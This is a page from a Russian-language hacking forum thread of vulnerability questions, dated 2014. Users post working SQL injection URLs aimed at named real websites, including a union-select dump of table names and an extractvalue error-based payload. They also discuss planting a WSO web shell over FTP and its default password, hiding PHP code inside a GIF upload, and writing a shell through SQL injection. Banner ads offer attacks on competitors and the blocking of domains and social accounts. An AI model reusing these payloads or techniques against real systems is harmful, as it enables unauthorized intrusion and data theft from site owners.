Ваши вопросы по уязвимостям.

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2329 из 2438

2329

Опции темы

Поиск в этой теме

Опции просмотра

#23281

09.02.2014, 17:33

kingbeef

Новичок

Регистрация: 08.04.2010

Сообщений: 1

С нами: 8469890

Репутация: 0

Цитата:

Сообщение от Shade

Код:

http://www.e-portal.com.ua/news.php?id=-11+union+select+1,group_concat%28table_name%29,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables+--+

вот впринцепи и сама скуля... только если можно по подробней опишите ваши действия)) буду благодарен

Если ты про http://e-portal.com.ua/admin , то там бэйсик авторизация. Данные от неё не хранятся на сервере.

#23282

09.02.2014, 17:41

kingbeef

Новичок

Регистрация: 08.04.2010

Сообщений: 1

С нами: 8469890

Репутация: 0

Цитата:

Сообщение от OxoTnik

а подробнее расскажи где они хранятся

Ну я имел ввиду в PMA.

#23283

09.02.2014, 17:43

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 0

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от kingbeef

Если ты про http://e-portal.com.ua/admin , то там бэйсик авторизация. Данные от неё не хранятся на сервере.

даа..ну я это и имел ввиду.. поэтому и спрашивал) спасибо

#23284

09.02.2014, 17:52

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 0

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от OxoTnik

а подробнее расскажи где они хранятся

Если уж цепляться к словам, то при некотором желании это вполне можно организовать и не хранить от нее данные как минимум на том же сервере.

По скуле: file-прав нет, пичалька. Зато рядом валяются еще какие-то базы, в т.ч. от форума. Там вполне могут быть доступы в админку. Успехов.

#23285

10.02.2014, 19:42

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 0

С нами: 10992741

Репутация: 0

залил шелл WSO2 на хост через фтп.. захожу по ссылке а там шелл просит пароль.. кто знает какой пароль? вообще так должно быть? о_О

#23286

10.02.2014, 19:44

kingbeef

Новичок

Регистрация: 08.04.2010

Сообщений: 1

С нами: 8469890

Репутация: 0

Цитата:

Сообщение от Shade

Ну как бы в WSO стоит авторизация.

По умолчанию пароль "root" .

#23287

10.02.2014, 21:51

Yahoooo

Новичок

Регистрация: 02.10.2011

Сообщений: 20

С нами: 7690646

Репутация: 0

Сабж. Я сейчас устроился на работу помощник сис администратора. Сегодня на почту пришло сообщение со скриншотом

Цитата:

Сообщение от None

Ваш сайт уязвим, имеется SQL инъкция.

Код:

http://www.ke.kz/ru/Vzaimodejstvie/Media-centr/Events/arch=1/new_y=2014/new_m=2'

Хотел узнать, это действительно СКУЛЬ инъекция?

#23288

11.02.2014, 00:27

Inoms

Участник форума

Регистрация: 23.06.2013

Сообщений: 103

С нами: 6783446

Репутация: 45

Цитата:

Сообщение от Yahoooo

Код:

http://www.ke.kz/ru/Vzaimodejstvie/Media-centr/Events/arch=1/new_y=2014/new_m=2'

Хотел узнать, это действительно СКУЛЬ инъекция?

Всё и проще и сложнее. Под катом практически весь url енкодинг, но вытащить ещё можно что-либо)

Код:

http://www.ke.kz/ru'and(extractvalue(1,concat(1,user())))or'

#23289

11.02.2014, 02:53

lansia

Участник форума

Регистрация: 06.02.2011

Сообщений: 111

С нами: 8033366

Репутация: 5

Как залить на dle gif картинку с php кодом?

#23290

12.02.2014, 00:59

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 0

С нами: 10992741

Репутация: 0

Слышал что можно залить шелл на прямую (без доступа в админку) , если есть скуля... Кто что скажет по этому поводу ?

Страница 2329 из 2438

2329

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход